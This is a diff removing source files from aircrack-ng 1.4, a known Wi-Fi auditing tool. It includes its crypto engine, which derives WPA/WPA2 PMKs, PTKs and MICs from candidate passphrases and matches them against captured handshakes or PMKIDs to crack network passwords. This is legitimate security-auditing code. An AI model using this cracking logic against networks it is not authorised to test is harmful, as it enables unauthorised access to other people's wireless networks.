-#define SIMD_COEF_64 2
-#endif
-
-/*
-#ifndef SIMD_PARA_MD4
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_MD4			3
-#elif defined(__clang__)
-#define SIMD_PARA_MD4			4
-#elif defined(__llvm__)
-#define SIMD_PARA_MD4			3
-#elif defined(__GNUC__) && GCC_VERSION < 40405	// 4.4.5
-#define SIMD_PARA_MD4			1
-#elif defined(__GNUC__) && GCC_VERSION < 40500	// 4.5.0
-#define SIMD_PARA_MD4			3
-#elif defined(__GNUC__) && (GCC_VERSION < 40600 || defined(__XOP__)) // 4.6.0
-#define SIMD_PARA_MD4			2
-#else
-#define SIMD_PARA_MD4			3
-#endif
-#endif
-
-#ifndef SIMD_PARA_MD5
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_MD5			3
-#elif defined(__clang__)
-#define SIMD_PARA_MD5			5
-#elif defined(__llvm__)
-#define SIMD_PARA_MD5			3
-#elif defined(__GNUC__) && GCC_VERSION == 30406	// 3.4.6
-#define SIMD_PARA_MD5			3
-#elif defined(__GNUC__) && GCC_VERSION < 40405	// 4.4.5
-#define SIMD_PARA_MD5			1
-#elif defined(__GNUC__) && GCC_VERSION < 40500	// 4.5.0
-#define SIMD_PARA_MD5			3
-#elif defined(__GNUC__) && (GCC_VERSION < 40600 || defined(__XOP__)) // 4.6.0
-#define SIMD_PARA_MD5			2
-#else
-#define SIMD_PARA_MD5			3
-#endif
-#endif
-*/
-#ifndef SIMD_PARA_SHA1
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_SHA1 1
-#elif defined(__clang__)
-#define SIMD_PARA_SHA1 1
-#elif defined(__llvm__)
-#define SIMD_PARA_SHA1 1
-#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
-#define SIMD_PARA_SHA1 1
-#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
-#define SIMD_PARA_SHA1 1
-#else
-#define SIMD_PARA_SHA1 1
-#endif
-#endif
-
-#ifndef SIMD_PARA_SHA256
-#if __XOP__
-#define SIMD_PARA_SHA256 2
-#else
-#define SIMD_PARA_SHA256 1
-#endif
-#endif
-#ifndef SIMD_PARA_SHA512
-#define SIMD_PARA_SHA512 1
-#endif
-
-#ifndef SHA1_SSE_PARA
-#if defined(__INTEL_COMPILER) || defined(USING_ICC_S_FILE)
-#define SHA1_SSE_PARA 1
-//#define SHA1_N_STR		      "4x"
-#elif defined(__clang__)
-#define SHA1_SSE_PARA 2
-//#define SHA1_N_STR		      "8x"
-#elif defined(__llvm__)
-#define SHA_BUF_SIZ 80
-#define SHA1_SSE_PARA 2
-//#define SHA1_N_STR		      "8x"
-#elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4
-#define SHA1_SSE_PARA 1
-//#define SHA1_N_STR		      "4x"
-#elif !defined(JOHN_AVX) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
-#define SHA1_SSE_PARA 1
-//#define SHA1_N_STR		      "4x"
-#else
-#define SHA1_SSE_PARA 2
-//#define SHA1_N_STR			"8x"
-#endif
-#endif
-
-#define STR_VALUE(arg) #arg
-#define PARA_TO_N(n) STR_VALUE(n) "x"
-#define PARA_TO_MxN(m, n) STR_VALUE(m) "x" STR_VALUE(n)
-
-#if SIMD_PARA_MD4 > 1
-#define MD4_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD4)
-#else
-#define MD4_N_STR PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_MD5 > 1
-#define MD5_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_MD5)
-#else
-#define MD5_N_STR PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_SHA1 > 1
-#define SHA1_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA1)
-#else
-#define SHA1_N_STR PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_SHA256 > 1
-#define SHA256_N_STR PARA_TO_MxN(SIMD_COEF_32, SIMD_PARA_SHA256)
-#else
-#define SHA256_N_STR PARA_TO_N(SIMD_COEF_32)
-#endif
-#if SIMD_PARA_SHA512 > 1
-#define SHA512_N_STR PARA_TO_MxN(SIMD_COEF_64, SIMD_PARA_SHA512)
-#else
-#define SHA512_N_STR PARA_TO_N(SIMD_COEF_64)
-#endif
-
-#define SHA_BUF_SIZ 16
-
-#define NT_X86_64
-
-#ifndef SIMD_CORE
-#define MMX_TYPE " SSE2"
-#define MMX_COEF 4
-#define MMX_COEF_SHA256 4
-#define MMX_COEF_SHA512 2
-#endif
-
-#endif /* __SSE2__ */
-
-#define BF_ASM 0
-#define BF_SCALE 1
-
-/*
- * 3x (as opposed to 2x) interleaving provides substantial speedup on Core 2
- * CPUs, as well as slight speedup on some other CPUs.  Unfortunately, it
- * results in lower cumulative performance with multiple concurrent threads or
- * processes on some newer SMT-capable CPUs.  While this has nothing to do with
- * AVX per se, building for AVX implies we do not intend to run on a Core 2
- * (which has at most SSE4.1), so checking for AVX here provides an easy way to
- * avoid this performance regression in AVX-enabled builds.  In multi-binary
- * packages with runtime fallbacks, the AVX-enabled binary would invoke a
- * non-AVX fallback binary from its john.c if run e.g. on a Core 2.  We could
- * check for SSE4.2 rather than AVX here, as SSE4.2 was introduced along with
- * SMT-capable Nehalem microarchitecture CPUs, but apparently those CPUs did
- * not yet exhibit the performance regression with 3x interleaving.  Besides,
- * some newer CPUs capable of SSE4.2 but not AVX happen to lack SMT, so will
- * likely benefit from the 3x interleaving with no adverse effects for the
- * multi-threaded case.
- *
- * In Jumbo, we may get BF_X2 from autoconf (after testing ht cpuid flag).
- */
-#ifndef BF_X2
-#if __AVX__ && HAVE_HT && _OPENMP
-#define BF_X2 1
-#else
-#define BF_X2 3
-#endif
-#endif
-
-#endif

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/crypto_engine.c Deleted

@@ -1,638 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdint.h>
-#include "simd-intrinsics.h"
-#include "wpapsk.h"
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#include "sha1-git.h"
-#else
-#include <openssl/hmac.h>
-#include <openssl/sha.h>
-// We don't use EVP. Bite me
-#include <openssl/rc4.h>
-#include <openssl/aes.h>
-#if HAVE_OPENSSL_CMAC_H
-#include <openssl/cmac.h>
-#endif
-#endif
-
-#include "aircrack-util/trampoline.h"
-
-#include "crypto_engine.h"
-
-// #define XDEBUG
-
-#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
-
-/* Code borrowed from https://w1.fi/wpa_supplicant/ starts */
-
-#define CMAC_AES_128_MAC_LEN 16
-#define SHA256_MAC_LEN 32
-typedef uint16_t u16;
-typedef uint8_t u8;
-
-static inline void WPA_PUT_LE16(u8 * a, u16 val)
-{
-	a[1] = (u8)(val >> 8u);
-	a[0] = (u8)(val & 0xff);
-}
-
-static void
-sha256_vector(size_t num_elem, const u8 * addr[], const size_t * len, u8 * mac)
-{
-	SHA256_CTX ctx;
-	size_t i;
-
-	SHA256_Init(&ctx);
-	for (i = 0; i < num_elem; i++)
-	{
-		SHA256_Update(&ctx, addr[i], len[i]);
-	}
-
-	SHA256_Final(mac, &ctx);
-}
-
-static void hmac_sha256_vector(const u8 * key,
-							   size_t key_len,
-							   size_t num_elem,
-							   const u8 * addr[],
-							   const size_t * len,
-							   u8 * mac)
-{
-	unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */
-	const u8 * _addr[6];
-	size_t _len[6], i;
-
-	/* the HMAC_SHA256 transform looks like:
-	 *
-	 * SHA256(K XOR opad, SHA256(K XOR ipad, text))
-	 *
-	 * where K is an n byte key
-	 * ipad is the byte 0x36 repeated 64 times
-	 * opad is the byte 0x5c repeated 64 times
-	 * and text is the data being protected */
-
-	/* start out by storing key in ipad */
-	memset(k_pad, 0, sizeof(k_pad));
-	memcpy(k_pad, key, key_len);
-	/* XOR key with ipad values */
-	for (i = 0; i < 64; i++) k_pad[i] ^= 0x36;
-
-	/* perform inner SHA256 */
-	_addr[0] = k_pad;
-	_len[0] = 64;
-	for (i = 0; i < num_elem; i++)
-	{
-		_addr[i + 1] = addr[i];
-		_len[i + 1] = len[i];
-	}
-	sha256_vector(1 + num_elem, _addr, _len, mac);
-
-	memset(k_pad, 0, sizeof(k_pad));
-	memcpy(k_pad, key, key_len);
-	/* XOR key with opad values */
-	for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c;
-
-	/* perform outer SHA256 */
-	_addr[0] = k_pad;
-	_len[0] = 64;
-	_addr[1] = mac;
-	_len[1] = SHA256_MAC_LEN;
-	sha256_vector(2, _addr, _len, mac);
-}
-
-static void sha256_prf_bits(const u8 * key,
-							size_t key_len,
-							const char * label,
-							const u8 * data,
-							size_t data_len,
-							u8 * buf,
-							size_t buf_len_bits)
-{
-	u16 counter = 1;
-	size_t pos, plen;
-	u8 hash[SHA256_MAC_LEN];
-	const u8 * addr[4];
-	size_t len[4];
-	u8 counter_le[2], length_le[2];
-	size_t buf_len = (buf_len_bits + 7) / 8;
-
-	addr[0] = counter_le;
-	len[0] = 2;
-	addr[1] = (u8 *) label;
-	len[1] = strlen(label);
-	addr[2] = data;
-	len[2] = data_len;
-	addr[3] = length_le;
-	len[3] = sizeof(length_le);
-
-	WPA_PUT_LE16(length_le, (u16) buf_len_bits);
-	pos = 0;
-
-	while (pos < buf_len)
-	{
-		plen = buf_len - pos;
-		WPA_PUT_LE16(counter_le, counter);
-		if (plen >= SHA256_MAC_LEN)
-		{
-			hmac_sha256_vector(key, key_len, 4, addr, len, &buf[pos]);
-			pos += SHA256_MAC_LEN;
-		}
-		else
-		{
-			hmac_sha256_vector(key, key_len, 4, addr, len, hash);
-			memcpy(&buf[pos], hash, plen);
-			pos += plen;
-			break;
-		}
-		counter++;
-	}
-
-	/*
-	 * Mask out unused bits in the last octet if it does not use all the
-	 * bits.
-	 */
-	if (buf_len_bits % 8)
-	{
-		u8 mask = (u8)(0xff << (8u - buf_len_bits % 8));
-		buf[pos - 1] &= mask;
-	}
-}
-#endif /* HAVE_OPENSSL_CMAC_H || GCRYPT_WITH_CMAC_AES */
-
-EXPORT int ac_crypto_engine_supported_features(void)
-{
-#if defined(JOHN_AVX512F)
-	return SIMD_SUPPORTS_AVX512F;
-#elif defined(JOHN_AVX2)
-	return SIMD_SUPPORTS_AVX2;
-#elif defined(JOHN_AVX)
-	return SIMD_SUPPORTS_AVX;
-#elif defined(JOHN_SSE2)
-	return SIMD_SUPPORTS_SSE2;
-#elif defined(JOHN_NEON)
-	return SIMD_SUPPORTS_NEON;
-#elif defined(JOHN_ASIMD)
-	return SIMD_SUPPORTS_ASIMD;
-#elif defined(JOHN_POWER8)
-	return SIMD_SUPPORTS_POWER8;
-#elif defined(JOHN_ALTIVEC)
-	return SIMD_SUPPORTS_ALTIVEC;
-#else
-	return SIMD_SUPPORTS_NONE;
-#endif
-}
-
-EXPORT int ac_crypto_engine_simd_width()
-{
-#ifdef SIMD_COEF_32
-	return SIMD_COEF_32;
-#else
-	return 1;
-#endif
-}
-
-EXPORT int ac_crypto_engine_init(ac_crypto_engine_t * engine)
-{
-	assert(engine != NULL);
-#ifdef XDEBUG
-	fprintf(stderr, "ac_crypto_engine_init(%p)\n", engine);
-#endif
-
-	init_atoi();
-
-	engine->essid = mem_calloc_align(1, ESSID_LENGTH + 1, MEM_ALIGN_SIMD);
-
-	engine->essid_length = 0;
-
-	for (int i = 0; i < MAX_THREADS; ++i) engine->thread_data[i] = NULL;
-
-	return 0;
-}
-
-EXPORT void ac_crypto_engine_destroy(ac_crypto_engine_t * engine)
-{
-	assert(engine != NULL);
-#ifdef XDEBUG
-	fprintf(stderr, "ac_crypto_engine_destroy(%p)\n", engine);
-#endif
-
-	MEM_FREE(engine->essid);
-	engine->essid = NULL;
-}
-
-EXPORT void ac_crypto_engine_set_essid(ac_crypto_engine_t * engine,
-									   const uint8_t * essid)
-{
-	assert(engine != NULL);
-#ifdef XDEBUG
-	fprintf(stderr, "ac_crypto_engine_set_essid(%p, %s)\n", engine, essid);
-#endif
-	memccpy(engine->essid, essid, 0, ESSID_LENGTH);
-	engine->essid_length = (uint32_t) strlen((char *) essid);
-}
-
-EXPORT int ac_crypto_engine_thread_init(ac_crypto_engine_t * engine,
-										int threadid)
-{
-	assert(engine != NULL);
-#ifdef XDEBUG
-	fprintf(stderr, "ac_crypto_engine_thread_init(%p, %d)\n", engine, threadid);
-#endif
-
-	// allocate per-thread data.
-	engine->thread_data[threadid] = mem_calloc_align(
-		1, sizeof(struct ac_crypto_engine_perthread), MEM_ALIGN_SIMD);
-
-	return 0;
-}
-
-EXPORT void ac_crypto_engine_thread_destroy(ac_crypto_engine_t * engine,
-											int threadid)
-{
-	assert(engine != NULL);
-#ifdef XDEBUG
-	fprintf(
-		stderr, "ac_crypto_engine_thread_destroy(%p, %d)\n", engine, threadid);
-#endif
-
-	if (engine->thread_data[threadid] != NULL)
-	{
-		MEM_FREE(engine->thread_data[threadid]);
-		engine->thread_data[threadid] = NULL;
-	}
-}
-
-EXPORT uint8_t *
-ac_crypto_engine_get_pmk(ac_crypto_engine_t * engine, int threadid, int index)
-{
-	return (uint8_t *) engine->thread_data[threadid]->pmk
-		   + (sizeof(wpapsk_hash) * index);
-}
-
-EXPORT uint8_t *
-ac_crypto_engine_get_ptk(ac_crypto_engine_t * engine, int threadid, int index)
-{
-	return (uint8_t *) engine->thread_data[threadid]->ptk + (20 * index);
-}
-
-EXPORT void ac_crypto_engine_calc_pke(ac_crypto_engine_t * engine,
-									  const uint8_t bssid[6],
-									  const uint8_t stmac[6],
-									  const uint8_t anonce[32],
-									  const uint8_t snonce[32],
-									  int threadid)
-{
-	uint8_t * pke = engine->thread_data[threadid]->pke;
-
-	assert(pke != NULL);
-
-	/* pre-compute the key expansion buffer */
-	memcpy(pke, "Pairwise key expansion", 23);
-	if (memcmp(stmac, bssid, 6) < 0)
-	{
-		memcpy(pke + 23, stmac, 6);
-		memcpy(pke + 29, bssid, 6);
-	}
-	else
-	{
-		memcpy(pke + 23, bssid, 6);
-		memcpy(pke + 29, stmac, 6);
-	}
-	if (memcmp(snonce, anonce, 32) < 0)
-	{
-		memcpy(pke + 35, snonce, 32);
-		memcpy(pke + 67, anonce, 32);
-	}
-	else
-	{
-		memcpy(pke + 35, anonce, 32);
-		memcpy(pke + 67, snonce, 32);
-	}
-}
-
-/* derive the PMK from the passphrase and the essid */
-EXPORT void ac_crypto_engine_calc_one_pmk(const uint8_t * key,
-										  const uint8_t * essid_pre,
-										  uint32_t essid_pre_len,
-										  uint8_t pmk[40])
-{
-	int i, j, slen;
-	unsigned char buffer[65];
-	char essid[33 + 4];
-	SHA_CTX ctx_ipad;
-	SHA_CTX ctx_opad;
-	SHA_CTX sha1_ctx;
-
-	assert(essid_pre != NULL);
-
-	if (essid_pre_len > 32)
-	{
-		essid_pre_len = 32;
-	}
-
-	memset(essid, 0, sizeof(essid));
-	memcpy(essid, essid_pre, essid_pre_len);
-	slen = (int) essid_pre_len + 4;
-
-	/* setup the inner and outer contexts */
-
-	memset(buffer, 0, sizeof(buffer));
-	strncpy((char *) buffer, (char *) key, sizeof(buffer) - 1);
-
-	for (i = 0; i < 64; i++) buffer[i] ^= 0x36;
-
-	SHA1_Init(&ctx_ipad);
-	SHA1_Update(&ctx_ipad, buffer, 64);
-
-	for (i = 0; i < 64; i++) buffer[i] ^= 0x6A;
-
-	SHA1_Init(&ctx_opad);
-	SHA1_Update(&ctx_opad, buffer, 64);
-
-	/* iterate HMAC-SHA1 over itself 8192 times */
-
-	essid[slen - 1] = '\1';
-	HMAC(EVP_sha1(),
-		 key,
-		 (int) strlen((char *) key),
-		 (unsigned char *) essid,
-		 (size_t) slen,
-		 pmk,
-		 NULL);
-	memcpy(buffer, pmk, 20);
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		for (j = 0; j < 20; j++) pmk[j] ^= buffer[j];
-	}
-
-	essid[slen - 1] = '\2';
-	HMAC(EVP_sha1(),
-		 (unsigned char *) key,
-		 (int) strlen((char *) key),
-		 (unsigned char *) essid,
-		 (size_t) slen,
-		 pmk + 20,
-		 NULL);
-	memcpy(buffer, pmk + 20, 20);
-
-	for (i = 1; i < 4096; i++)
-	{
-		memcpy(&sha1_ctx, &ctx_ipad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		memcpy(&sha1_ctx, &ctx_opad, sizeof(sha1_ctx));
-		SHA1_Update(&sha1_ctx, buffer, 20);
-		SHA1_Final(buffer, &sha1_ctx);
-
-		for (j = 0; j < 20; j++) pmk[j + 20] ^= buffer[j];
-	}
-}
-
-EXPORT void ac_crypto_engine_calc_pmk(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const int nparallel,
-	const int threadid)
-{
-	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
-
-// PMK calculation
-#ifdef SIMD_CORE
-	if (nparallel >= 4)
-	{
-		init_wpapsk(engine, key, nparallel, threadid);
-	}
-	else
-#endif
-		for (int j = 0; j < nparallel; ++j)
-		{
-#ifdef XDEBUG
-			printf("%lu: Trying: %s\n", pthread_self(), (char *) key[j].v);
-#endif
-			ac_crypto_engine_calc_one_pmk(key[j].v,
-										  (uint8_t *) engine->essid,
-										  engine->essid_length,
-										  (uint8_t *) (&pmk[j]));
-		}
-}
-
-EXPORT void ac_crypto_engine_calc_ptk(ac_crypto_engine_t * engine,
-									  const uint8_t keyver,
-									  int vectorIdx,
-									  int threadid)
-{
-	uint8_t * ptk = engine->thread_data[threadid]->ptk;
-	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
-
-	if (keyver < 3)
-	{
-		for (int i = 0; i < 4; i++)
-		{
-			*(engine->thread_data[threadid]->pke + 99) = (unsigned char) i;
-
-			HMAC(EVP_sha1(),
-				 (&pmk[vectorIdx]),
-				 32,
-				 engine->thread_data[threadid]->pke,
-				 100,
-				 &ptk[vectorIdx] + i * 20,
-				 NULL);
-		}
-	}
-#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
-	else
-	{
-		uint8_t data[64 + 12];
-
-		uint8_t * pke = &engine->thread_data[threadid]->pke[23];
-
-		memset(data, 0, sizeof(data));
-		memcpy(data, pke, 6);
-		memcpy(data + 6, pke + 6, 6);
-		memcpy(data + 12, pke + 35 - 23, 64);
-
-		sha256_prf_bits((unsigned char *) (pmk[vectorIdx].v),
-						32,
-						"Pairwise key expansion",
-						data,
-						76,
-						ptk,
-						48 * 8);
-	}
-#endif
-}
-
-EXPORT void ac_crypto_engine_calc_mic(ac_crypto_engine_t * engine,
-									  const uint8_t eapol[256],
-									  const uint32_t eapol_size,
-									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
-												 [20],
-									  const uint8_t keyver,
-									  const int vectorIdx,
-									  const int threadid)
-{
-	uint8_t * ptk = engine->thread_data[threadid]->ptk;
-
-	if (keyver == 1)
-		HMAC(EVP_md5(),
-			 &ptk[vectorIdx],
-			 16,
-			 eapol,
-			 eapol_size,
-			 mic[vectorIdx],
-			 NULL);
-	else if (keyver == 2)
-		HMAC(EVP_sha1(),
-			 &ptk[vectorIdx],
-			 16,
-			 eapol,
-			 eapol_size,
-			 mic[vectorIdx],
-			 NULL);
-#if defined(HAVE_OPENSSL_CMAC_H) || defined(GCRYPT_WITH_CMAC_AES)
-	else if (keyver == 3)
-	{
-		size_t miclen = CMAC_AES_128_MAC_LEN;
-		CMAC_CTX * ctx = NULL;
-
-		// Compute MIC
-		ctx = CMAC_CTX_new();
-		CMAC_Init(ctx, ptk, 16, EVP_aes_128_cbc(), 0);
-		CMAC_Update(ctx, eapol, eapol_size);
-		CMAC_Final(ctx, mic[vectorIdx], &miclen);
-		CMAC_CTX_free(ctx);
-	}
-#else
-	else if (keyver == 3)
-	{
-		fprintf(stderr,
-				"Key version %d is only supported when OpenSSL (or similar) "
-				"supports CMAC.\n",
-				keyver);
-		abort();
-	}
-#endif /* HAVE_OPENSSL_CMAC_H */
-	else
-	{
-		fprintf(stderr, "Unsupported key version %d encountered.\n", keyver);
-		abort();
-	}
-}
-
-EXPORT int ac_crypto_engine_wpa_crack(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t eapol[256],
-	const uint32_t eapol_size,
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	const uint8_t keyver,
-	const uint8_t cmpmic[20],
-	const int nparallel,
-	const int threadid)
-{
-	ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
-
-	for (int j = 0; j < nparallel; ++j)
-	{
-		/* compute the pairwise transient key and the frame MIC */
-
-		ac_crypto_engine_calc_ptk(engine, keyver, j, threadid);
-
-		ac_crypto_engine_calc_mic(
-			engine, eapol, eapol_size, mic, keyver, j, threadid);
-
-		/* did we successfully crack it? */
-		if (memcmp(mic[j], cmpmic, 16) == 0)
-		{
-			return j;
-		}
-	}
-
-	return -1;
-}
-
-EXPORT void ac_crypto_engine_set_pmkid_salt(ac_crypto_engine_t * engine,
-											const uint8_t bssid[6],
-											const uint8_t stmac[6],
-											int threadid)
-{
-	uint8_t * pke = engine->thread_data[threadid]->pke;
-
-	assert(pke != NULL);
-
-	/* pre-compute the PMKID salt buffer */
-	memcpy(pke, "PMK Name", 8);
-	memcpy(pke + 8, bssid, 6);
-	memcpy(pke + 14, stmac, 6);
-}
-
-EXPORT int ac_crypto_engine_wpa_pmkid_crack(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t pmkid[32],
-	const int nparallel,
-	const int threadid)
-{
-	ac_crypto_engine_calc_pmk(engine, key, nparallel, threadid);
-
-	uint8_t * pke = engine->thread_data[threadid]->pke;
-	wpapsk_hash * pmk = engine->thread_data[threadid]->pmk;
-	uint8_t l_pmkid[32];
-
-	for (int j = 0; j < nparallel; ++j)
-	{
-		HMAC(EVP_sha1(), &pmk[j], 32, pke, 20, l_pmkid, NULL);
-
-		/* did we successfully crack it? */
-		if (memcmp(l_pmkid, pmkid, 16) == 0)
-		{
-			return j;
-		}
-	}
-
-	return -1;
-}
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/crypto_engine.h Deleted

@@ -1,286 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef AIRCRACK_NG_CRYPTO_ENGINE_H
-#define AIRCRACK_NG_CRYPTO_ENGINE_H
-
-#include <string.h>
-#include <stdint.h>
-#include <stddef.h>
-
-#define MAX_THREADS 256
-
-#if defined(_MSC_VER)
-//  Microsoft
-#define EXPORT __declspec(dllexport)
-#define IMPORT __declspec(dllimport)
-#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
-	|| defined(__INTEL_COMPILER)
-#define EXPORT __attribute__((visibility("default")))
-#define IMPORT
-#else
-//  do nothing and hope for the best?
-#define EXPORT
-#define IMPORT
-#pragma warning Unknown dynamic link import / export semantics.
-#endif
-
-#define STATIC_ASSERT(COND, MSG)                                               \
-	typedef char static_assertion_##MSG[(!!(COND)) * 2 - 1]
-// token pasting madness:
-#define COMPILE_TIME_ASSERT3(X, L)                                             \
-	STATIC_ASSERT(X, static_assertion_at_line_##L)
-#define COMPILE_TIME_ASSERT2(X, L) COMPILE_TIME_ASSERT3(X, L)
-#define COMPILE_TIME_ASSERT(X) COMPILE_TIME_ASSERT2(X, __LINE__)
-
-#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)               \
-	|| defined(__INTEL_COMPILER)
-#define likely(x) __builtin_expect(!!(x), 1)
-#define unlikely(x) __builtin_expect(!!(x), 0)
-#else
-#define likely(x) (x)
-#define unlikely(x) (x)
-#endif
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define ESSID_LENGTH 32 /* The spec. says 32 maximum. */
-#define PLAINTEXT_LENGTH 63 /* We can do 64 but spec. says 63 */
-
-#define MIN_KEYS_PER_CRYPT 1
-#if defined(JOHN_AVX512F)
-#define MAX_KEYS_PER_CRYPT 16
-#elif defined(JOHN_AVX2)
-#define MAX_KEYS_PER_CRYPT 8
-#else
-#define MAX_KEYS_PER_CRYPT 4
-#endif
-
-#if defined(AVX512F_FOUND)
-#if defined(__INTEL_COMPILER)
-#define MAX_KEYS_PER_CRYPT_SUPPORTED 32
-#else
-#define MAX_KEYS_PER_CRYPT_SUPPORTED 16
-#endif
-#else
-#if defined(__INTEL_COMPILER)
-#define MAX_KEYS_PER_CRYPT_SUPPORTED 16
-#else
-#define MAX_KEYS_PER_CRYPT_SUPPORTED 8
-#endif
-#endif
-
-typedef struct
-{
-	uint8_t v[PLAINTEXT_LENGTH + 1];
-	uint32_t length;
-} wpapsk_password;
-
-typedef struct
-{
-	union {
-		uint32_t v[8];
-		uint8_t c[32];
-	};
-} wpapsk_hash;
-
-#ifndef CACHELINE_SIZE
-#define CACHELINE_SIZE 64 // CPU L1 cache-line size, in bytes.
-#endif
-
-#define CACHELINE_PADDED_FIELD(T, name, length, cacheline_size)                \
-	T name[(length)];                                                          \
-	uint8_t name##_padding[(cacheline_size)                                    \
-						   - ((length * sizeof(T)) % (cacheline_size))]
-
-#pragma pack(push, 1)
-/// Per-thread data needed by the crypto cracking engine.
-struct ac_crypto_engine_perthread
-{
-	/// Holds the pair-wise master key.
-	CACHELINE_PADDED_FIELD(wpapsk_hash,
-						   pmk,
-						   MAX_KEYS_PER_CRYPT_SUPPORTED,
-						   CACHELINE_SIZE);
-
-	/// Holds a 64-byte buffer for HMAC SHA1 ipad/opad, plus an extra 20-byte
-	/// buffer for a SHA1 digest.
-	CACHELINE_PADDED_FIELD(uint8_t,
-						   hash1,
-						   (64 + 20) * MAX_KEYS_PER_CRYPT_SUPPORTED,
-						   CACHELINE_SIZE);
-
-	/// Holds a 20-byte buffer for a SHA1 digest. Half cache-line size is to
-	/// compact with the next.
-	CACHELINE_PADDED_FIELD(uint8_t,
-						   crypt1,
-						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
-						   CACHELINE_SIZE / 2);
-
-	/// Holds a 20-byte buffer for a SHA1 digest. Half cache-line size is to
-	/// compact with the previous.
-	CACHELINE_PADDED_FIELD(uint8_t,
-						   crypt2,
-						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
-						   CACHELINE_SIZE / 2);
-
-	/// Holds a 20-byte buffer for a SHA1 digest. Double cache-line size is to
-	/// space the next field futher out.
-	CACHELINE_PADDED_FIELD(uint8_t,
-						   ptk,
-						   20 * MAX_KEYS_PER_CRYPT_SUPPORTED,
-						   CACHELINE_SIZE * 2);
-
-	/// Holds a 100-byte buffer for pair-wise key expansion.
-	CACHELINE_PADDED_FIELD(uint8_t,
-						   pke,
-						   100 * MAX_KEYS_PER_CRYPT_SUPPORTED,
-						   CACHELINE_SIZE);
-};
-#pragma pack(pop)
